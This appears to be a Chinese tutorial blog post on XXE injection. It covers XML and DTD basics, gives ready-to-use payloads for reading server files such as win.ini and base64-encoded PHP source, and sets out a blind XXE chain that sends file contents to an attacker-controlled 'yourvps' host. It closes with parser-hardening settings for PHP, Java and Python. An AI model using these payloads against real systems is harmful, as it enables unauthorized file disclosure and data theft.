XXE漏洞利用笔记

XML

XML 被设计用来传输和存储数据。

HTML 被设计用来显示数据。

语法:

1、所有 XML 元素都须有关闭标签
2、XML 标签对大小写敏感
3、XML 必须正确地嵌套
4、XML 文档必须有根元素
5、XML 的属性值须加引号
6、在 XML 中,空格会被保留

在这里插入图片描述


在这里插入图片描述在这里插入图片描述




DTD 介绍

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。


DTD在XML文档内部和外部的声明:https://www.runoob.com/dtd/dtd-intro.html
DTD元素的声明:https://www.runoob.com/dtd/dtd-elements.html


XXE漏洞

找到注入点后

第一步:先判断是否能执行xml

测试代码:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name "my name is wakawaka">]>    
<root>&name;</root>

显示 my name is wakawaka 说明可以执行xml。

第二步:测试是否可以引用外部实体:

测试代码:

扫描二维码关注公众号,回复: 11118224 查看本文章

可以测试能否读取靶机文件

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">  
]>
<root>&name;</root>

或者访问自己搭的vps(公网服务器):

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "http://ip/index.html">  
]>
<root>&name;</root>
查看vps的日志来判断是否收到一条请求index.html的请求。

第三步:判断是否可以回显

1. 有回显:可以直接利用
例:获取敏感文件:

<?xml version= "1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "file:///C:/windows/win.ini">  
]>
<root>&name;</root>

如果需要读取php文件,需要经过base64加密后读取出来:

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE ANY [  
<!ENTITY name SYSTEM "php://filter/read/convert.base64-encode/resource=index.php">  
]>
<root>&name;</root>

2、无回显:使用blind xxe 攻击方法
流程 :
vps上的xxe.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://yourvps/%file;'>">

payload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % dtd SYSTEM "http://yourvps/xxe.xml">
%dtd; %all;
]>
<value>&send;</value>

整个的调用过程如下:解析时%dtd引入xxe.xml,之后%all引入send的定义,最后引用了实体send,把%file文件内容通过一个http请求发了出去。注意需要把payload经过url编码。

然后在服务器的log中看到base64加密后的内容

防御:

php:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

或者是将关键词 ex:`DOCYPE,ENTITY`进行过滤。
发布了53 篇原创文章 · 获赞 3 · 访问量 1578

猜你喜欢

转载自blog.csdn.net/weixin_45427650/article/details/105180734